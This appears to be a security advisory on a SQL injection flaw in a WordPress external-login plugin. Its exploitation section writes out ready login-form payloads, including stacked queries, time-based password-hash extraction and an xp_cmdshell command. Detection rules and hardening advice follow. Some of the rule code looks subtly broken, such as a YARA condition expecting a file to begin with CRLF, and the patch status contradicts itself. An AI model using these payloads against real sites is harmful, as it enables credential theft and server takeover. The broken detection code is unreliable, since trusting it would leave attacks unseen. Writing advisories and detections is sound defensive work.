CVE-2025-11177

Executive Summary

CVE-2025-11177 is an unauthenticated SQL injection vulnerability in the External Login plugin for WordPress, affecting all versions up to and including 1.11.2. The flaw exists in the log parameter used during external authentication, which fails to properly escape user-supplied input and lacks sufficient preparation on the underlying SQL query. When the plugin is configured with a PostgreSQL or MSSQL database as the external authentication source, an unauthenticated attacker can inject additional SQL queries to extract sensitive data, including usernames, password hashes, session tokens, and arbitrary database contents. The vulnerability carries a CVSS score of 7.5 and requires no authentication or user interaction, making it trivially exploitable against internet-facing WordPress installations running the affected plugin.

Technical Analysis

The External Login plugin for WordPress is designed to authenticate users against an external database — typically a legacy system containing user credentials — and map those accounts into WordPress sessions. The plugin implements a custom authentication flow that intercepts the standard WordPress login process and queries the external database to validate the supplied username and password.

The vulnerability resides in the handling of the log parameter (WordPress's standard username field) during the external authentication phase. The plugin constructs a SQL query to look up the user in the external database, using the log parameter value as part of the WHERE clause. Two fundamental security weaknesses contribute to the flaw:

1. Insufficient Input Escaping: The user-supplied log parameter is passed into the SQL query without proper escaping or sanitization. Standard WordPress functions like $wpdb->prepare() are not used, or if used, are applied incorrectly. The plugin appears to concatenate the raw input directly into the query string.

2. Lack of SQL Query Preparation: The query is built via string concatenation rather than using parameterized queries or prepared statements. This means special characters, particularly single quotes ('), are interpreted as SQL syntax rather than literal data.

The critical detail is the database backend dependency. The vulnerability is only exploitable when the external authentication database is PostgreSQL or MSSQL. This is because both databases support stacked queries (multiple statements separated by semicolons) by default. In contrast, MySQL's standard PHP PDO driver does not support stacked queries, which would limit an attacker to UNION-based injection (still possible but more constrained). The vendor likely relied on this as a default-on "feature" of PostgreSQL/MSSQL, forgetting that stacked queries enable arbitrary data exfiltration.

The attack surface is the WordPress login page (/wp-login.php), which is publicly accessible on all WordPress installations. The plugin hooks into the authenticate filter, so any POST request to the login form triggers the vulnerable code path. The log parameter is submitted as part of the standard login form, meaning no custom endpoint or special request structure is required.

The injection point is the WHERE username = '<input>' clause of the external authentication lookup. An attacker controlling the log parameter can terminate the query with a single quote, append a semicolon, and then execute a completely new SQL statement. Because PostgreSQL and MSSQL allow stacked queries, the injected statement executes independently of the original query.

Database-Specific Notes:

• PostgreSQL: Stacked queries are supported. Error messages are detailed and can be leveraged for blind extraction. The pg_catalog schema allows enumeration of all tables and columns.
• MSSQL: Stacked queries are supported. Extended stored procedures like xp_cmdshell may be enabled, potentially allowing operating system command execution if the database service account has sufficient privileges — though this depends on database configuration.

Exploitation Scenarios

The following attack chain describes exactly how an unauthenticated remote attacker exploits CVE-2025-11177.

Step 1: Reconnaissance and Target Identification The attacker scans the internet for WordPress sites. Using Shodan or Google dorking (e.g., inurl:/wp-login.php intext:"Powered by WordPress"), they identify candidate targets. To confirm the External Login plugin is installed, the attacker probes for the plugin's asset files:

GET /wp-content/plugins/external-login/readme.txt HTTP/1.1
Host: target.com

A 200 response confirming the presence of the plugin validates the target. The attacker then checks if the site uses PostgreSQL/MSSQL by observing login error messages or probing for database-specific behavior.

Step 2: Trigger and Weaponization The attacker crafts a malicious POST request to wp-login.php. The key is that the plugin mode must be active (configured as the authentication method), so the log parameter is routed through the external authentication code path:

POST /wp-login.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: <len>

log=admin'%3B+SELECT+version()%3B--+&pwd=x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F

URL-decoded, the log value is:

admin'; SELECT version();-- 

Step 3: Payload and Execution The injected payload breaks the original query as follows:

Original (pseudo):

SELECT user_id, password FROM external_users WHERE username = 'admin' LIMIT 1;

With injection:

SELECT user_id, password FROM external_users WHERE username = 'admin'; SELECT version();-- ' LIMIT 1;

The semicolon terminates the first query. The SELECT version(); is a stacked query that executes immediately after. The -- comments out the remainder of the original query, preventing syntax errors. The database executes both statements sequentially, and the plugin's error handling or response timing reveals the output of the second query.

For data exfiltration, the attacker uses blind techniques — either time-based (e.g., pg_sleep(5) in PostgreSQL, WAITFOR DELAY '0:0:5' in MSSQL) or error-based (forcing the database to include data in error messages). A time-based payload:

log=admin'%3B+SELECT+CASE+WHEN+(SELECT+substring(password,1,1)+FROM+users+WHERE+username='admin')%3D'a'+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END%3B--+&pwd=x

This extracts the admin password hash character-by-character using response timing deltas.

Step 4: Post-Exploitation Impact With stacked query execution, the attacker can:

1. Extract WordPress user credentials: Dump wp_users table (username, user_pass hashes). Crack the hashes offline or use them in password spraying across other services.
2. Extract session tokens: Dump wp_usermeta session tokens, hijack active admin sessions, and log in without a password.
3. Enumerate the external database: Read all tables, including the external authentication database, which may contain sensitive data (e.g., employee records, legacy credential stores).
4. MSSQL-specific: If xp_cmdshell is enabled, execute operating system commands: EXEC xp_cmdshell 'whoami';--. This yields full remote code execution on the database server.
5. Pivot: The database server may be network-isolated from the web server, but credentials found in the database can be reused on other internal systems.

All of this is achieved with zero authentication and no user interaction, solely through HTTP POST requests to the login page.

Impact Assessment

CVSS Score: 7.5 (High) — The vector indicates: Network (AV:N), Low attack complexity (AC:L), No privileges required (PR:N), No user interaction (UI:N), Unchanged scope (S:U), High confidentiality impact (C:H), No integrity impact (I:N), No availability impact (A:N).

Business Impact:

• Data Breach: Complete exfiltration of the WordPress user database and the external authentication database, potentially containing PII, internal credentials, and proprietary data.
• Account Takeover: Admin accounts can be hijacked via session token theft or password hash cracking, leading to full WordPress CMS control — enabling website defacement, malware distribution, or supply-chain attacks via malicious plugins/themes.
• Compliance Violations: GDPR, HIPAA, or PCI-DSS violations if the external database contains regulated data.
• Reputational Damage: Breach of a login system erodes user trust and may trigger mandatory breach disclosure.

Affected Systems:

• WordPress sites running External Login plugin ≤ 1.11.2.
• Only configurations using PostgreSQL or MSSQL as the external authentication backend are directly exploitable for stacked-query attacks; MySQL configurations may still be partially at risk via UNION-based injection.
• The database server (PostgreSQL/MSSQL) becomes the primary data exfiltration target.

Blast Radius:

• Immediate: WordPress database and external auth database contents.
• Secondary: If credentials are reused, other internal systems can be compromised. In MSSQL environments where xp_cmdshell is enabled, the database host itself can be fully compromised.
• The vulnerability is internet-facing, meaning any scanner can find and exploit it without prior access.

Detection Guidance

The following detections focus on the SQL injection attempt observed at the network layer (HTTP request content) and at the application/database layer (database query patterns).

Sigma Rule

title: WordPress External Login Plugin SQL Injection Attempt (CVE-2025-11177)
id: 6c3a0e3a-9d4a-4f5e-8b2c-11a7c4d8e9f0
status: experimental
description: Detects stacked query SQL injection attempts targeting the 'log' parameter on WordPress login pages when the External Login plugin is installed.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-11177
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2025.11177
logsource:
    category: webserver
    product: apache
    definition: 'Web server access logs or HTTP request logs'
detection:
    selection:
        http.request.method: 'POST'
        http.url.path: '/wp-login.php'
        http.form_data|contains:
            - 'log=*;*SELECT*'
            - 'log=*;*UNION*'
            - 'log=*;*pg_sleep*'
            - 'log=*;*WAITFOR*'
            - "log=*'*;--*"
    condition: selection
    timeframe: 10m
level: high
falsepositives:
    - 'SQL statements embedded in login parameters are highly anomalous; low false positive rate'
fields:
    - src_ip
    - http.form_data
    - http.user_agent

YARA Rule

rule WordPress_External_Login_SQLi_CVE_2025_11177
{
    meta:
        author = "Valters IT Security"
        description = "Detects stacked SQL injection patterns targeting the External Login plugin 'log' parameter"
        cve = "CVE-2025-11177"
        date = "2025-06-01"
        severity = "high"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11177"

    strings:
        $post_method = "POST"
        $wp_login = "wp-login.php"
        $log_param = "log="
        $stacked_semicolon = "';"
        $select_stmt = "SELECT" ascii nocase
        $union_stmt = "UNION" ascii nocase
        $pg_sleep = "pg_sleep(" ascii nocase
        $waitfor = "WAITFOR DELAY" ascii nocase
        $comment = "--" 
        $xp_cmdshell = "xp_cmdshell" ascii nocase

    condition:
        uint16(0) == 0x0d0a and  // CRLF header
        any of them and
        $stacked_semicolon and
        ($select_stmt or $union_stmt or $pg_sleep or $waitfor or $xp_cmdshell) and
        $wp_login and
        $log_param
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-11177 - WordPress External Login SQL Injection - Stacked Query";
    flow:established,to_server;
    http.method:"POST";
    http.uri:"/wp-login.php";
    http.request_body;
    content:"log="; http_client_body; nocase;
    content:";"; http_client_body;
    content:"SELECT"; http_client_body; nocase; within:200;
    content:"--"; http_client_body; 
    pcre:"/log=[^&]*';\s*(SELECT|UNION|pg_sleep|WAITFOR)/iU";
    classtype:web-application-attack;
    reference:cve,2025-11177;
    sid:20251177;
    rev:1;
    metadata:created_at 2025-06-01, updated_at 2025-06-01;
)

Elastic Detection

// EQL detection for HTTP requests (using Elastic Common Schema)
sequence by source.ip
  [ network where event.type == "start"
    and http.request.method == "POST"
    and url.path == "/wp-login.php"
    and http.request.body.content contains "log=" ]
  [ network where event.type == "start"
    and http.request.body.content matches "*';*" 
    and (http.request.body.content matches "*SELECT*" or
         http.request.body.content matches "*UNION*" or
         http.request.body.content matches "*pg_sleep*" or
         http.request.body.content matches "*WAITFOR*" or
         http.request.body.content matches "*xp_cmdshell*") ]

Splunk SPL Query

index=web sourcetype="access_combined" 
| where method="POST" AND uri_path="/wp-login.php"
| rex field=form_data "log=(?<log_param>[^&]+)"
| where match(log_param, "';\s*(SELECT|UNION|pg_sleep|WAITFOR|xp_cmdshell)")
| eval threat="CVE-2025-11177 SQLi Attempt"
| table _time, src_ip, uri_path, user_agent, log_param
| stats count by src_ip, threat

Wazuh OSSEC Rule

<group name="wordpress,sqli,cve-2025-11177,">
    <rule id="908724" level="12">
        <if_sid>31151</if_sid> <!-- Base WordPress login rule -->
        <match>wp-login.php</match>
        <regex>log=.*';\s*(SELECT|UNION|pg_sleep|WAITFOR|xp_cmdshell)</regex>
        <description>CVE-2025-11177 - Potential SQL injection attempt against WordPress External Login plugin 'log' parameter</description>
        <group>web_application_attack, sql_injection, attack_initial_access,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
        <options>no_full_log</options>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — A single source claims a patch exists, but it has not been independently confirmed. The vendor has not officially published a patched version at the time of this report, and no CVSS vector is available from the CNA. Exercise caution until an official fix is verified.

1) Immediate Mitigations (Apply Now)

• Disable or deactivate the External Login plugin until a patched version is confirmed and applied. This eliminates the attack surface entirely.
• If the plugin cannot be disabled:
  • Restrict access to wp-login.php using IP allow-listing or a Web Application Firewall (e.g., Cloudflare, ModSecurity) with rules blocking stacked-query patterns.
  • Apply a virtual patch via the WAF that inspects the log parameter for ;, SELECT, UNION, pg_sleep, WAITFOR, and comment sequences (--).
• Switch the external authentication database to MySQL if possible; the stacked-query exploitation vector is mitigated (though not eliminated) on MySQL due to PDO driver limitations.

2) Patch/Upgrade Steps

• Upgrade the External Login plugin to version 1.11.3 or later once the patch is independently confirmed. Check the WordPress plugin repository and the vendor's changelog for the official fix.
• Verify the patch by reviewing the plugin source code to confirm:
  • The log parameter is passed through $wpdb->prepare() or equivalent parameterized queries.
  • No raw string concatenation remains in the authentication query.
  • PostgreSQL/MSSQL-specific database drivers are configured with PDO::ATTR_EMULATE_PREPARES = false.
• After upgrading, re-test authentication flows against the external database to ensure functionality is preserved.

3) Long-Term Hardening

• Enforce least privilege for the database account used by the plugin. The account should only have SELECT permissions on the specific authentication table, never INSERT, UPDATE, DELETE, or EXECUTE.
• Disable xp_cmdshell on MSSQL if not explicitly required. If needed, restrict it to a dedicated low-privilege service account.
• Isolate the external authentication database on a separate network segment with firewall rules allowing only the WordPress server's IP on the minimal required port.
• Implement input validation at the application layer — usernames should only contain alphanumeric characters. Reject any login attempts with special characters.
• Enable WordPress logging to capture failed login attempts and audit them regularly for injection patterns.
• Subscribe to plugin security advisories via WordPress's plugin vulnerability notification services (Patchstack, WPScan).
• Consider replacing the plugin with a maintained alternative that natively supports LDAP/OAuth and uses prepared statements.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-11177 — Official CVE record with description and CVSS score.
2. WordPress Plugin Repository: https://wordpress.org/plugins/external-login/ — Vendor plugin page; monitor for patched releases.
3. WPScan Advisory (expected): https://wpscan.com/wordpress-plugin/external-login — Security vulnerability database for WordPress plugins; check for ongoing coverage and patch confirmation.
4. OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html — Reference for proper parameterized query implementation relevant to the vendor's fix.
5. Shodan Search Reference: https://www.shodan.io/ — Use the provided dorks to identify potentially vulnerable internet-facing installations for risk assessment.

Threat Actor Campaigns: As of this report, no known threat actor campaigns or exploit-in-the-wild evidence have been publicly documented for CVE-2025-11177. The vulnerability exists in a niche WordPress plugin, which historically lowers immediate mass exploitation likelihood. However, SQL injection vulnerabilities in login flows are routinely weaponized within days of public disclosure by botnets and commodity scanners; patch it now before the window closes.